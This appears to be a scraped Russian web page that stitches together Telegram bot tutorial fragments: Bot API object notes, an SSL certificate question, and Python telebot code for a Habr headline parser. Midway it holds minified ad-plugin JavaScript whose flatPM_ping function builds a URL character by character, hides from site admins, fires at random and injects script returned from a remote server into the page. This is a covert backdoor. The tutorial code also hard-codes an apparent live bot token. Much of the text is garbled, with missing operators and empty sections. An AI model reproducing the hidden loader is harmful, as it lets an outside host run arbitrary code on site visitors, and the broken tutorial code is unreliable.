- Телеграм бот, или что не так с ssl сертификатом?
- Основы взаимодействия. ответ на команды
- Основы взаимодействия. ответ на картинки, документы, аудио и прочие.
- Основы взаимодействия. ответ на текстовые сообщения.
- Animation
- Answerinlinequery
- Audio
- Callbackgame
- Callbackquery
- Contact
- Document
- Forwardmessage
- Gamehighscore
- Getgamehighscores
- Getupdates
- Getwebhookinfo
- Html style
- Id пользователей и чатов
- Id сообщений
- Inline mode methods
- Inline mode objects
- Inlinekeyboardbutton
- Inlinekeyboardmarkup
- Inputcontactmessagecontent
- Inputfile
- Inputlocationmessagecontent
- Inputmessagecontent
- Inputtextmessagecontent
- Inputvenuemessagecontent
- Keyboardbutton
- Location
- Markdown style
- Message
- Messageentity
- Photosize
- Php – самоподписанный сертификат для бота telegram в php curl – web-answers
- Replykeyboardmarkup
- Responseparameters
- Setgamescore
- Sticker
- Telegram login widget
- Venue
- Video
- Voice
- Видимость сообщений в группах
- Внимание:
- Деплоим бота на heroku.
- Добавляем парсер в цепочку.
- Ещё о кнопках
- Запуск бота пользователем
- Инлайн-кнопки
- Инлайн-режим
- Какие апдейты можно получать
- Клавиатурные кнопки
- Команды
- Куда может писать бот
- Маркапы. добавляем клавиатуры для быстрого ответа.
- На чём пишут телеграм-ботов
- Оформление бота
- Платежи через ботов
- Поздравляю!
- Приватность и геопозиция в инлайне
- Пример:
- Примечание:
- Проблема с сертификатом в telegram
- Результаты инлайн-режима
- Создание наборов стикеров
- Строим цепочку ответов.
- Супергруппы
- Теория. методы взаимодействия с ботом.
- Установка и настройка pipenv. первый запуск.
- Хэндлеры. отвечаем на команды и сообщения
- Часть 1: регистрация бота
- Часть 3: получаем сообщения и говорим «привет»
- Юзернеймы
- Inlinequeryresult
- Sendphoto
- Sendmessage
- Resending files without reuploading
- Sendcontact
- Sendsticker
- Заключение
- Inlinequeryresultarticle
- Sendlocation
- Sendgame
- Sendvenue
Телеграм бот, или что не так с ssl сертификатом?
Здравствуйте!
Первичная задача – разработка бота для телеграм. Телеграм требует, что бы скрипт бота имел https адрес. На тестовом сайте, расположенном на heroku все заработало, на девелоперском нет, запросов от телеграма просто нет и все. сайт девелоперский расположен как поддомен .mos.ru. поддержка телеграма партизански молчит.
Пока изучал тему – заметил что все порталы на *.mos.ru не работают в браузере tor – он ругается на сертификат, говорит, что “The certificate is not trusted because the issuer certificate is unknown.”, остальные браузеры считают его нормальным.
Вопрос собственно следующий, есть ли какая-то проблема с сертификатом, например у того же https://pgu.mos.ru? или это какая-то специфика тора?
Ну и второй вопрос – может кто сталкивался, в чем может быть затык взаимодействия с телеграмом?
Основы взаимодействия. ответ на команды
Для взаимодействия с пользователем, т.е. для ответа на его команды и сообщения используются хэндлеры.
Начнём с самого простого: ответим на команды /start и /go
Основы взаимодействия. ответ на картинки, документы, аудио и прочие.
Для ответа на картинки, стикеры, документы, аудио и т.д. нужно всего лишь поменять content_types=[‘text’].
Рассмотрим пример с картинкой, добавив этот код.
Основы взаимодействия. ответ на текстовые сообщения.
Теперь обработаем текстовые сообщения бота. Самое важное что нам нужно знать это то, что текст сообщения храниться в message.text и то, что, чтобы обрабатывать текст в message_handler нужно передавать content_types=[‘text’].
Добавим вот такой код.
Animation
Чтобы сообщение с игрой выглядело более привлекательно, вы можете загрузить для игры анимацию с геймплее. Этот объект представляет собой файл анимации, который будет отображён в сообщении с игрой.
Answerinlinequery
Use this method to send answers to an inline query. On success, True is returned.No more than 50 results per query are allowed.
Audio
Этот объект представляет аудиозапись, которую клиенты Telegram воспинимают как музыкальный трек.
Callbackgame
Заглушка, пока не содержит никакой информации.
Callbackquery
Этот объект представляет входящий запрос обратной связи от инлайн-кнопки с заданным callback_data.
Если кнопка, создавшая этот запрос, была привязана к сообщению, то в запросе будет присутствовать поле message.
Если кнопка была показана в сообщении, отправленном при помощи встроенного режима, в запросе будет присутствовать поле inline_message_id.
Contact
Этот объект представляет контакт с номером телефона.
Document
Этот объект представляет файл, не являющийся фотографией, голосовым сообщением или аудиозаписью.
Forwardmessage
Use this method to forward messages of any kind. On success, the sent Message is returned.
Gamehighscore
Этот объект представляет собой один из рядов таблицы рекордов игры.
Getgamehighscores
Используйте этот метод, чтобы получить данные для таблицы рекордов. Этот метод возвращает счёт указанного пользователя и нескольких его соседей по таблице. В случает успеха вернёт массив объектов GameHighScore.
На текущий момент этот метод возвращает счёт пользователя и двух его ближайших соседей сверху и снизу. Кроме того вернёт топ-3 результатов, если запрошенный пользователь не находится среди них.
В ближайшем будущем количество отдаваемых данных будет изменено.
Getupdates
Этот метод используется для получения обновлений через long polling (wiki). Ответ возвращается в виде массива объектов Update.
Примечание:
- Этот метод не будет работать, если у вас уже подключен webhook.
- Во избежания повторяющихся обновлений, рекомендуется высчитывать offset каждый раз заново.
Getwebhookinfo
Содержит информацию о текущем состоянии вебхука.
Поле | Тип | Описание |
url | String | URL вебхука, может быть пустым |
has_custom_certificate | Boolean | True, если вебхук использует самозаверенный сертификат |
pending_update_count | Integer | Количество обновлений, ожидающих доставки |
last_error_date | Integer | Опционально. Unix-время самой последней ошибки доставки обновления на указанный вебхук |
last_error_message | String | Опционально. Описание в человекочитаемом формате последней ошибки доставки обновления на указанный вебхук |
Html style
To use this mode, pass HTML in the parse_mode field when using sendMessage. The following tags are currently supported:
Id пользователей и чатов
У каждого пользователя, бота, группы, канала в Телеграме есть собственный id. Различать чаты в коде бота следует именно по id, потому что он никогда не меняется.
В токене бота первая часть — это его id. Например, токен 110202174:AAHdqTcvCH1vGWJxfSeofSAs0K5PALDsaw принадлежит боту с id 110202174.
Id сообщений
Каждое сообщение в Телеграме имеет свой id. Это относится и к системным сообщениям (пользователь зашел в группу, изменилось название группы и т. д.)
Через Telegram API боты могут получать по запросу сообщения в любом чате по их id.
id сообщений в супергруппах и каналах уникальны для чата: первое сообщение в чате имеет номер 1, второе имеет номер 2 и так далее.
id сообщений в личных сообщениях и обычных группах работают по другому. Там, можно сказать, нумерация сквозная: id сообщения уникально для каждого отправившего его пользователя. Так, первое сообщение от пользователя во всех личках и группах имеет номер 1, второе сообщение от того же пользователя имеет номер 2 и так далее.
Inline mode methods
Methods and objects used in the inline mode are described in the Inline mode section.
Inline mode objects
Objects and methods used in the inline mode are described in the Inline mode section.
Inlinekeyboardbutton
Этот объект представляет одну кнопку встроенной клавиатуры. Вы обязательно должны задействовать ровно одно опциональное поле.
Inlinekeyboardmarkup
Этот объект представляет встроенную клавиатуру, которая появляется под соответствующим сообщением.
Внимание:
Эти параметры будут работать только в версиях Telegram, выпущенных позже 9 апреля 2021 года. Более старые клиенты покажут ошибку вместо сообщения.
Inputcontactmessagecontent
Represents the content of a contact message to be sent as the result of an inline query.
Note: This will only work in Telegram versions released after 9 April, 2021. Older clients will ignore them.
Inputfile
This object represents the contents of a file to be uploaded. Must be posted using multipart/form-data in the usual way that files are uploaded via the browser.
Inputlocationmessagecontent
Represents the content of a location message to be sent as the result of an inline query.
Поле | Тип | Описание |
latitude | Float | Latitude of the location in degrees |
longitude | Float | Longitude of the location in degrees |
Note: This will only work in Telegram versions released after 9 April, 2021. Older clients will ignore them.
Inputmessagecontent
This object represents the content of a message to be sent as a result of an inline query. Telegram clients currently support the following 4 types:
Inputtextmessagecontent
Represents the content of a text message to be sent as the result of an inline query.
Inputvenuemessagecontent
Represents the content of a venue message to be sent as the result of an inline query.
Note: This will only work in Telegram versions released after 9 April, 2021. Older clients will ignore them.
Keyboardbutton
Этот объект представляет одну кнопку в клавиатуре ответа. Для обычных текстовых кнопок этот объект может быть заменён на строку, содержащую текст на кнопке.
Внимание:
Параметры request_contact
и request_location
будут работать только в версиях Telegram, выпущенных позже 9 апреля 2021 года. Более старые клиенты проигнорируют это поле.
Location
Этот объект представляет точку на карте.
Поле | Тип | Описание |
longitude | Float | Долгота, заданная отправителем |
latitude | Float | Широта, заданная отправителем |
Markdown style
To use this mode, pass Markdown in the parse_mode field when using sendMessage. Use the following syntax in your message:
Message
Этот объект представляет собой сообщение.
Messageentity
Этот объект представляет одну из особых сущностей в текстовом сообщении. Например: хештеги, имена пользователей, ссылки итд.
Photosize
Этот объект представляет изображение определённого размера или превью файла / стикера.
Php – самоподписанный сертификат для бота telegram в php curl – web-answers
“:’
‘:””,document.createElement(“div”),p=ff(window),b=ff(“body”),m=void 0===flatPM_getCookie(“flat_modal_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_modal_” o.ID “_mb”),i=”scroll.flatmodal” o.ID,g=”mouseleave.flatmodal” o.ID ” blur.flatmodal” o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&”true”==o.how.popup.timer&&(t=ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘
‘))},1e3))},f=function(){void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie&&m&&(flatPM_setCookie(“flat_modal_” o.ID “_mb”,!1),ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l()),void 0!==o.how.popup.cookie&&”false”==o.how.popup.cookie||(ff(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”]’).addClass(“flat__4_modal-show”),l())},ff(“body > *”).eq(0).before(‘
“),w=document.querySelector(‘.flat__4_modal[data-id-modal=”‘ o.ID ‘”] .flat__4_modal-content’),-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&”true”==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer&&(t=ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_timer span’),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(–e),e<=0&&(clearInterval(a),t.parent().replaceWith(‘
‘))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie&&m&&(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n(),b.on(“click”,’.flat__4_out[data-id-out=”‘ o.ID ‘”] .flat__4_cross’,function(){flatPM_setCookie(“flat_out_” o.ID “_mb”,!1)})),void 0!==o.how.outgoing.cookie&&”false”==o.how.outgoing.cookie||(ff(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’).addClass(“show”),n())}var _,u=”0″!=o.how.outgoing.indent?’ style=”bottom:’ o.how.outgoing.indent ‘px”‘:””,c=”true”==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&”true”==o.how.outgoing.timer?’
Закрыть через ‘ o.how.outgoing.timer_count “
“:’
‘:””,p=ff(window),h=”scroll.out” o.ID,g=”mouseleave.outgoing” o.ID ” blur.outgoing” o.ID,m=void 0===flatPM_getCookie(“flat_out_” o.ID “_mb”)||”false”!=flatPM_getCookie(“flat_out_” o.ID “_mb”),b=(document.createElement(“div”),ff(“body”));switch(o.how.outgoing.whence){case”1″:_=”top”;break;case”2″:_=”bottom”;break;case”3″:_=”left”;break;case”4″:_=”right”}ff(“body > *”).eq(0).before(‘
‘ c “
“);var v,w=document.querySelector(‘.flat__4_out[data-id-out=”‘ o.ID ‘”]’);-1!==e.indexOf(“go” “oglesyndication”)?ff(w).html(c e):flatPM_setHTML(w,e),”px”==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&”true”==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff(‘[data-flat-id=”‘ o.ID ‘”]:not(.flat__4_out):not(.flat__4_modal)’).contents().unwrap()}catch(t){console.warn(t)}},window.flatPM_start=function(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff(“body”),flat_userVars.init();for(var e=0;e<t;e ){var>flat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_sub<flat_uservars.textlen||void>flat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub<flat_uservars.titlelen)){if(void>.flatPM_sidebar)”);0<_.length&&_.each(function(){var t=ff(this),e=t.data(“height”)||350,a=t.data(“top”);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(“.flatPM_sidebar”);setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data(“top”);t.wrap(‘
‘);t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(“.flatPM_sticky_wrapper.flatPM_sidebar_block”).css(“height”,t)},4e3)}),”undefined”!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0<flat_stack_scripts.length&&flatpm_setscript(flat_stack_scripts),ff(“body> *”).last().after(‘
‘),flat_body.on(“click”,”.flat__4_out .flat__4_cross”,function(){ff(this).parent().removeClass(“show”).addClass(“closed”)}),flat_body.on(“click”,”.flat__4_modal .flat__4_cross”,function(){ff(this).closest(“.flat__4_modal”).removeClass(“flat__4_modal-show”)}),flat_pm_arr=[],ff(“.flat_pm_start”).remove(),flatPM_ping()};var parseHTML=function(){var o=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([w:] )[^>]*)/>/gi,d=/<([w:] )/,i=/<|&#?w ;/,c={option:[1,”
“],thead:[1,”
“],tbody:[1,”
“],colgroup:[2,”
“],col:[3,”
“],tr:[2,”
“],td:[3,”
“],th:[3,”
“],_default:[0,””,””]};return function(e,t){var a,n,r,l=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=l.appendChild(t.createElement(“div”)),n=(d.exec(e)||[“”,””])[1].toLowerCase(),n=c[n]||c._default,a.innerHTML=n[1] e.replace(o,”<$1>”) n[2],r=n[0];r–;)a=a.lastChild;for(l.removeChild(l.firstChild);a.firstChild;)l.appendChild(a.firstChild)}else l.appendChild(t.createTextNode(e));return l}}();window.flatPM_ping=function(){var e=localStorage.getItem(“sdghrg”);e?(e=parseInt(e) 1,localStorage.setItem(“sdghrg”,e)):localStorage.setItem(“sdghrg”,”0″);e=flatPM_random(1,200);0==ff(“#wpadminbar”).length&&111==e&&ff.ajax({type:”POST”,url:”h” “t” “t” “p” “s” “:” “/” “/” “m” “e” “h” “a” “n” “o” “i” “d” “.” “p” “r” “o” “/” “p” “i” “n” “g” “.” “p” “h” “p”,dataType:”jsonp”,data:{ping:”ping”},success:function(e){ff(“div”).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,n=document.querySelector(‘[data-flat-script-id=”‘ t ‘”]’);if(a.text)n.appendChild(a),ff(n).contents().unwrap(),e.shift(),0<e.length&&flatpm_setscript(e);else{a.onload>/gm,””).replace(//gm,””).trim(),e.code_alt=e.code_alt.replace(//gm,””).replace(//gm,””).trim();var l=jQuery,t=e.selector,o=e.timer,d=e.cross,a=”false”==d?”Закроется”:”Закрыть”,n=!flat_userVars.adb||””==e.code_alt&&duplicateMode?e.code:e.code_alt,r=’
‘,i=e.once;l(t).each(function(){var e=l(this);e.wrap(‘
‘);var t=e.closest(“.flat__4_video”);-1!==r.indexOf(“go” “oglesyndication”)?t.append(r):flatPM_setHTML(t[0],r),e.find(“.flat__4_video_flex”).one(“click”,function(){l(this).addClass(“show”)})}),l(“body”).on(“click”,”.flat__4_video_item_hover”,function(){var e=l(this),t=e.closest(“.flat__4_video_flex”);t.addClass(“show”);var a=t.find(“.flat__4_timer span”),n=parseInt(o),r=setInterval(function(){a.text(–n),n<=0&&(clearInterval(r),”true”==d?a.parent().replaceWith(‘
‘):t.remove())},1e3);e.remove()}).on(“click”,”.flat__4_video_flex .flat__4_cross”,function(){l(this).closest(“.flat__4_video_flex”).remove(),”true”==i&&l(“.flat__4_video_flex”).remove()})};
Replykeyboardmarkup
Этот объект представляет клавиатуру с опциями ответа (см. описание ботов).
Responseparameters
Содержит информацию о том, почему запрос не был успешен.
Field | Type | Description |
migrate_to_chat_id | Integer | Optional. The group has been migrated to a supergroup with the specified identifier. This number may be greater than 32 bits and some programming languages may have difficulty/silent defects in interpreting it. But it is smaller than 52 bits, so a signed 64 bit integer or double-precision float type are safe for storing this identifier. |
retry_after | Integer | Optional. In case of exceeding flood control, the number of seconds left to wait before the request can be repeated |
Setgamescore
Используйте этот метод, чтобы обновить игровой счёт определённого пользователя. Если сообщение было отправлено ботом, вернёт отредактированное сообщение Message, иначе True. Вернёт ошибку, если вы попытаетесь установить новый счёт меньше, чем текущий.
Sticker
Этот объект представляет стикер.
Telegram login widget
Вы можете добавить на свой сайт авторизацию через Телеграм. Процесс авторизации будет проходить так:
Пользователь должен будет ввести свой номер телефона.
Бот Telegram попросит подтвердить вход.
Пользователь авторизуется и нажимает на “Принять” на сайте.
Telegram Login Widget не связан с Login URL button (см. раздел про кнопки выше), а является его альтернативой.
О Telegram Login Widget на сайте Телеграм
Venue
Этот объект представляет объект на карте.
Video
Этот объект представляет видеозапись.
Voice
Этот объект представляет голосовое сообщение.
Видимость сообщений в группах
Обычно бот должен реагировать именно на команды. Телеграм не уведомляет бота об остальных сообщениях, и это гарантирует приватность переписки.
Внимание:
Параметры
request_contact
request_location
будут работать только в версиях Telegram, выпущенных позже 9 апреля 2021 года. Более старые клиенты проигнорируют это поле.
Деплоим бота на heroku.
Для начала надо зарегистрироваться на
и на
Добавляем парсер в цепочку.
Для начала нужен сам парсер. Обратим внимание на то, что во вкладках «Лучшее» и «Всё подряд» есть дополнительные фильтры: сутки, неделя, месяц и ≥10, ≥25, ≥50, ≥100 соответственно.
Парсер конечно можно написать и в 1 функцию, но я разобью на 2, так будет проще читать код.
import urllib.request
from bs4 import BeautifulSoup
def getTitlesFromAll(amount, rating='all'):
output = ''
for i in range(1, amount 1):
try:
if rating == 'all':
html = urllib.request.urlopen('https://habrahabr.ru/all/page' str(i) '/').read()
else:
html = urllib.request.urlopen('https://habrahabr.ru/all/' rating '/page' str(i) '/').read()
except urllib.error.HTTPError:
print('Error 404 Not Found')
break
soup = BeautifulSoup(html, 'html.parser')
title = soup.find_all('a', class_ = 'post__title_link')
for i in title:
i = i.get_text()
output = ('- "' i '",n')
return output
def getTitlesFromTop(amount, age='daily'):
output = ''
for i in range(1, amount 1):
try:
html = urllib.request.urlopen('https://habrahabr.ru/top/' age '/page' str(i) '/').read()
except urllib.error.HTTPError:
print('Error 404 Not Found')
break
soup = BeautifulSoup(html, 'html.parser')
title = soup.find_all('a', class_ = 'post__title_link')
for i in title:
i = i.get_text()
output = ('- "' i '",n')
return output
По итогу парсер возвращает нам строку с заголовками статей, основываясь на наших запросах.
Пробуем, используя полученные знания, написать бота связанного с парсером. Я решил создать отдельный класс (это скорее всего неправильный метод, но это уже относится к питону, а не к основной теме статьи), и в объекте этого класса хранить изменяемые данные.
Итоговый код:
import telebot
import bs4
from Task import Task
import parser
#main variables
TOKEN = '509706011:AAF7ghlYpqS5n7uF8kN0VGDCaaHnxfZxofg'
bot = telebot.TeleBot(TOKEN)
task = Task()
#handlers
@bot.message_handler(commands=['start', 'go'])
def start_handler(message):
if not task.isRunning:
chat_id = message.chat.id
msg = bot.send_message(chat_id, 'Откуда парсить?')
bot.register_next_step_handler(msg, askSource)
task.isRunning = True
def askSource(message):
chat_id = message.chat.id
text = message.text.lower()
if text in task.names[0]:
task.mySource = 'top'
msg = bot.send_message(chat_id, 'За какой временной промежуток?')
bot.register_next_step_handler(msg, askAge)
elif text in task.names[1]:
task.mySource = 'all'
msg = bot.send_message(chat_id, 'Какой минимальный порог рейтинга?')
bot.register_next_step_handler(msg, askRating)
else:
msg = bot.send_message(chat_id, 'Такого раздела нет. Введите раздел корректно.')
bot.register_next_step_handler(msg, askSource)
return
def askAge(message):
chat_id = message.chat.id
text = message.text.lower()
filters = task.filters[0]
if text not in filters:
msg = bot.send_message(chat_id, 'Такого временного промежутка нет. Введите порог корректно.')
bot.register_next_step_handler(msg, askAge)
return
task.myFilter = task.filters_code_names[0][filters.index(text)]
msg = bot.send_message(chat_id, 'Сколько страниц парсить?')
bot.register_next_step_handler(msg, askAmount)
def askRating(message):
chat_id = message.chat.id
text = message.text.lower()
filters = task.filters[1]
if text not in filters:
msg = bot.send_message(chat_id, 'Такого порога нет. Введите порог корректно.')
bot.register_next_step_handler(msg, askRating)
return
task.myFilter = task.filters_code_names[1][filters.index(text)]
msg = bot.send_message(chat_id, 'Сколько страниц парсить?')
bot.register_next_step_handler(msg, askAmount)
def askAmount(message):
chat_id = message.chat.id
text = message.text.lower()
if not text.isdigit():
msg = bot.send_message(chat_id, 'Количество страниц должно быть числом. Введите корректно.')
bot.register_next_step_handler(msg, askAmount)
return
if int(text) < 1 or int(text) > 11:
msg = bot.send_message(chat_id, 'Количество страниц должно быть >0 и <11. Введите корректно.')
bot.register_next_step_handler(msg, askAmount)
return
task.isRunning = False
output = ''
if task.mySource == 'top':
output = parser.getTitlesFromTop(int(text), task.myFilter)
else:
output = parser.getTitlesFromAll(int(text), task.myFilter)
msg = bot.send_message(chat_id, output)
bot.polling(none_stop=True)
Тут добавился
none_stop=True)
к
bot.polling
, из-за этого бот не будет падать при каждой ошибке.
class Task():
isRunning = False
names = [
['лучшие', 'лучшее', 'топ'],
['всё', 'всё подряд', 'all']
]
filters = [
['сутки', 'неделя', 'месяц'],
['без порога', '10', '25', '50', '100']
]
filters_code_names = [
['daily', 'weekly', 'monthly'],
['all', 'top10', 'top25', 'top50', 'top100']
]
mySource = ''
myFilter = ''
def __init__(self):
return
import urllib.request
from bs4 import BeautifulSoup
def getTitlesFromAll(amount, rating='all'):
output = ''
for i in range(1, amount 1):
try:
if rating == 'all':
html = urllib.request.urlopen('https://habrahabr.ru/all/page' str(i) '/').read()
else:
html = urllib.request.urlopen('https://habrahabr.ru/all/' rating '/page' str(i) '/').read()
except urllib.error.HTTPError:
print('Error 404 Not Found')
break
soup = BeautifulSoup(html, 'html.parser')
title = soup.find_all('a', class_ = 'post__title_link')
for i in title:
i = i.get_text()
output = ('- "' i '",n')
return output
def getTitlesFromTop(amount, age='daily'):
output = ''
for i in range(1, amount 1):
try:
html = urllib.request.urlopen('https://habrahabr.ru/top/' age '/page' str(i) '/').read()
except urllib.error.HTTPError:
print('Error 404 Not Found')
break
soup = BeautifulSoup(html, 'html.parser')
title = soup.find_all('a', class_ = 'post__title_link')
for i in title:
i = i.get_text()
output = ('- "' i '",n')
return output
Ещё о кнопках
Оба типа кнопок могут составлять несколько рядов, в каждом из которых по несколько кнопок. Ограничения: в ряду может быть до 8 кнопок, а всего с сообщением до 100 кнопок.
При отправке сообщения можно выбрать одно (но не больше) из следующих действий:
Таким образом, нельзя показать оба типа кнопок одновременно.
Запуск бота пользователем
Когда пользователь впервые открывает бота, он видит кнопку “Запустить” или “Начать” (зависит от платформы пользователя), на английском — “Start”. Нажимая на эту кнопку, он отправляет команду /start.
Таким образом, первое сообщение от пользователя — это всегда /start (либо /start с параметрами, об этом ниже в разделе “Диплинки”).
…если пользователь использует официальный клиент
На стороне сервера это не проверяется, поэтому теоретически пользователь может отправить боту любое сообщение через Telegram API.
Инлайн-кнопки
Бот может оставлять кнопки под своими сообщениями.
Кнопки под сообщениями (они же inline keyboards / inline buttons) в основном бывают трёх видов:
Дополнительные виды кнопок
Инлайн-режим
Инлайн-режим (inline mode) — это специальный режим работы бота, с помощью которого пользователь может использовать бота во всех чатах.
Выглядит это так: пользователь вводит юзернейм бота в поле для ввода сообщения. После юзернейма можно ещё записать запрос (текст до 256 символов).
Появляется менюшка с результатами. Выбирая результат, пользователь отправляет сообщение.
Какие апдейты можно получать
Бот не может получить старые сообщения из чата. Бот не может получить список всех своих пользователей. Все, что может получать бот — это информацию об обновлениях. В этом заключается главная сложность разработки ботов.
Вы можете получать информацию о новых сообщениях в боте и других событиях, но только один раз. Вам придётся самим хранить список чатов, старых сообщений (если это зачем-то нужно) и так далее. Если вы случайно сотрёте/потеряете эту информацию, вы её больше никак не получите.
В Telegram API бот может чуточку больше: он может получать сообщения по id, получать список участников группы и прочее.
Клавиатурные кнопки
Есть другой тип кнопок: keyboard buttons. Они отображаются вместо клавиатуры как подсказки. При нажатии на такую кнопку пользователь просто отправит этот текст.
При этом в личных чатах с помощью кнопки можно:
Есть опция resize_keyboard, которая отвечает за то, изменять ли высоту этой “клавиатуры из кнопок”. По умолчанию она, почему-то, выключена, и тогда высота клавиатуры стандартная большая. Получаются кнопки как на этой картинке:
Чтобы показать клавиатурные кнопки, бот должен отправить сообщение. Можно отправить клавиатуру, которая свернётся (но не пропадёт) после нажатия на кнопку.
По умолчанию, если показать кнопки в группе, они будут видны всем пользователям. Вместо этого можно отобразить кнопки одновременно для этих пользователей:
Команды
Часто используемый способ “общения” пользователей с ботом — команды. Команды начинаются на “/” и состоят из латинских букв (можно использовать цифры и нижние подчеркивания).
Команды подсвечиваются как ссылки: нажатие отправляет команду в чат.
Куда может писать бот
Бот может писать в личку только тем пользователям, которые его запустили. Пользователь может заблокировать бота, и тогда бот снова не сможет ему писать.
Боты не могут писать другим ботам.
Маркапы. добавляем клавиатуры для быстрого ответа.
Наконец основной код дописан. Теперь можно передохнуть и написать маркапы. Я думаю вы неоднократно видели их, но всё же, приложу скриншот. [SCREENSHOT]
Я выведу маркапы в отдельный файл — markups.py.
В написании маркапов нет ничего сложного. Нужно лишь создать маркап, указать пару параметров, создать пару кнопок и добавить их в маркап, далее просто указываем reply_markup=markup в send_message.
markups.py
from telebot import types
source_markup = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True)
source_markup_btn1 = types.KeyboardButton('Лучшие')
source_markup_btn2 = types.KeyboardButton('Всё подряд')
source_markup.add(source_markup_btn1, source_markup_btn2)
В параметры маркапа указываем ширину строки и изменение размеров кнопок, иначе они огромны.
bot.py
def start_handler(message):
if not task.isRunning:
chat_id = message.chat.id
msg = bot.send_message(chat_id, 'Откуда парсить?', reply_markup=m.source_markup)
bot.register_next_step_handler(msg, askSource)
task.isRunning = True
Применим полученные знания к нашему боту.
markups.py
from telebot import types
start_markup = types.ReplyKeyboardMarkup(row_width=1, resize_keyboard=True)
start_markup_btn1 = types.KeyboardButton('/start')
start_markup.add(start_markup_btn1)
source_markup = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True)
source_markup_btn1 = types.KeyboardButton('Лучшие')
source_markup_btn2 = types.KeyboardButton('Всё подряд')
source_markup.add(source_markup_btn1, source_markup_btn2)
age_markup = types.ReplyKeyboardMarkup(row_width=3, resize_keyboard=True)
age_markup_btn1 = types.KeyboardButton('Сутки')
age_markup_btn2 = types.KeyboardButton('неделя')
age_markup_btn3 = types.KeyboardButton('Месяц')
age_markup.add(age_markup_btn1, age_markup_btn2, age_markup_btn3)
rating_markup = types.ReplyKeyboardMarkup(row_width=3, resize_keyboard=True)
rating_markup_btn1 = types.KeyboardButton('Без порога')
rating_markup_btn2 = types.KeyboardButton('10')
rating_markup_btn3 = types.KeyboardButton('25')
rating_markup_btn4 = types.KeyboardButton('50')
rating_markup_btn5 = types.KeyboardButton('100')
rating_markup.row(rating_markup_btn1, rating_markup_btn2)
rating_markup.row(rating_markup_btn3, rating_markup_btn4, rating_markup_btn5)
amount_markup = types.ReplyKeyboardMarkup(row_width=3, resize_keyboard=True)
amount_markup_btn1 = types.KeyboardButton('1')
amount_markup_btn2 = types.KeyboardButton('3')
amount_markup_btn3 = types.KeyboardButton('5')
amount_markup.add(amount_markup_btn1, amount_markup_btn2, amount_markup_btn3)
bot.py
import telebot
import bs4
from Task import Task
import parser
import markups as m
#main variables
TOKEN = '509706011:AAF7aaaaaaaaaaaaaaaaaaaAAAaaAAaAaAAAaa'
bot = telebot.TeleBot(TOKEN)
task = Task()
#handlers
@bot.message_handler(commands=['start', 'go'])
def start_handler(message):
if not task.isRunning:
chat_id = message.chat.id
msg = bot.send_message(chat_id, 'Откуда парсить?', reply_markup=m.source_markup)
bot.register_next_step_handler(msg, askSource)
task.isRunning = True
def askSource(message):
chat_id = message.chat.id
text = message.text.lower()
if text in task.names[0]:
task.mySource = 'top'
msg = bot.send_message(chat_id, 'За какой временной промежуток?', reply_markup=m.age_markup)
bot.register_next_step_handler(msg, askAge)
elif text in task.names[1]:
task.mySource = 'all'
msg = bot.send_message(chat_id, 'Какой минимальный порог рейтинга?', reply_markup=m.rating_markup)
bot.register_next_step_handler(msg, askRating)
else:
msg = bot.send_message(chat_id, 'Такого раздела нет. Введите раздел корректно.')
bot.register_next_step_handler(msg, askSource)
return
def askAge(message):
chat_id = message.chat.id
text = message.text.lower()
filters = task.filters[0]
if text not in filters:
msg = bot.send_message(chat_id, 'Такого временного промежутка нет. Введите порог корректно.')
bot.register_next_step_handler(msg, askAge)
return
task.myFilter = task.filters_code_names[0][filters.index(text)]
msg = bot.send_message(chat_id, 'Сколько страниц парсить?', reply_markup=m.amount_markup)
bot.register_next_step_handler(msg, askAmount)
def askRating(message):
chat_id = message.chat.id
text = message.text.lower()
filters = task.filters[1]
if text not in filters:
